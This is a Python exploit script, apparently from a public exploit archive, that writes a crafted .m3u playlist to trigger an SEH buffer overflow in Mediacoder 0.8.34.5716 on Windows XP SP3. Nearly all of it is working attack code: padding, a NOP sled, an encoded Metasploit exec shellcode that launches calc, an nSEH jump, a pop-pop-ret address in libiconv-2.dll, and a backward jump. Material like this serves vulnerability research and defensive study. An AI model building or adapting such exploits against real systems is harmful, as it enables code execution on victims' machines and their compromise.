Mediacoder 0.8.34.5716 Buffer Overflow

`#!/usr/bin/python  
# Exploit Title: Mediacoder 0.8.34.5716 Buffer Overflow SEH Exploit (.m3u)  
# Date: 05/May/2015  
# Author: @evil_comrade IRC freenode: #vulnhub or #offsec or #corelan  
# email: kwiha2003 [at ]yahoo [dot] com   
# Version: 0.8.34.5716  
# Tested on: Win XP3  
# Vendor: http://www.mediacoderhq.com/  
# Software link: http://www.mediacoderhq.com/getfile.htm?site=mediacoder.info&file=MediaCoder-0.8.34.5716.exe  
  
# Greetz: b33f,corelan,offsec,vulnhub,HUST510  
# Notes: Due to insifficient space after taking control of the EIP, you have to jump backwards and also   
# avoid a few bad bytes after the "A"s.  
  
#!/usr/bin/python  
buffersize = 853  
buffer = ("http://" + "\x41" * 256)  
#Space for shellcode to decode  
buffer += "\x90" * 24  
# msfpayload windows/exec CMD=calc R|msfencode -b "\x00\x0a\x0d\x20" -t c -e x86/shikata_ga_nai  
#[*] x86/shikata_ga_nai succeeded with size 223 (iteration=1)  
#unsigned char buf[] =   
buffer +=("\xdd\xc1\xbd\xc4\x15\xfd\x3a\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"  
"\x32\x31\x6f\x17\x03\x6f\x17\x83\x2b\xe9\x1f\xcf\x4f\xfa\x69"  
"\x30\xaf\xfb\x09\xb8\x4a\xca\x1b\xde\x1f\x7f\xac\x94\x4d\x8c"  
"\x47\xf8\x65\x07\x25\xd5\x8a\xa0\x80\x03\xa5\x31\x25\x8c\x69"  
"\xf1\x27\x70\x73\x26\x88\x49\xbc\x3b\xc9\x8e\xa0\xb4\x9b\x47"  
"\xaf\x67\x0c\xe3\xed\xbb\x2d\x23\x7a\x83\x55\x46\xbc\x70\xec"  
"\x49\xec\x29\x7b\x01\x14\x41\x23\xb2\x25\x86\x37\x8e\x6c\xa3"  
"\x8c\x64\x6f\x65\xdd\x85\x5e\x49\xb2\xbb\x6f\x44\xca\xfc\x57"  
"\xb7\xb9\xf6\xa4\x4a\xba\xcc\xd7\x90\x4f\xd1\x7f\x52\xf7\x31"  
"\x7e\xb7\x6e\xb1\x8c\x7c\xe4\x9d\x90\x83\x29\x96\xac\x08\xcc"  
"\x79\x25\x4a\xeb\x5d\x6e\x08\x92\xc4\xca\xff\xab\x17\xb2\xa0"  
"\x09\x53\x50\xb4\x28\x3e\x3e\x4b\xb8\x44\x07\x4b\xc2\x46\x27"  
"\x24\xf3\xcd\xa8\x33\x0c\x04\x8d\xcc\x46\x05\xa7\x44\x0f\xdf"  
"\xfa\x08\xb0\x35\x38\x35\x33\xbc\xc0\xc2\x2b\xb5\xc5\x8f\xeb"  
"\x25\xb7\x80\x99\x49\x64\xa0\x8b\x29\xeb\x32\x57\xae")  
buffer += "\x42" * 350  
nseh = "\xEB\x06\x90\x90"  
# 0x660104ee : pop edi # pop ebp # ret | [libiconv-2.dll]   
seh="\xee\x04\x01\x66"  
#Jump back 603 bytes due to insufficient space for shellcode  
jmpbck = "\xe9\xA5\xfd\xff\xff"  
junk = ("D" * 55)   
f= open("exploit.m3u",'w')  
f.write(buffer + nseh + seh + jmpbck + junk)  
f.close()  
`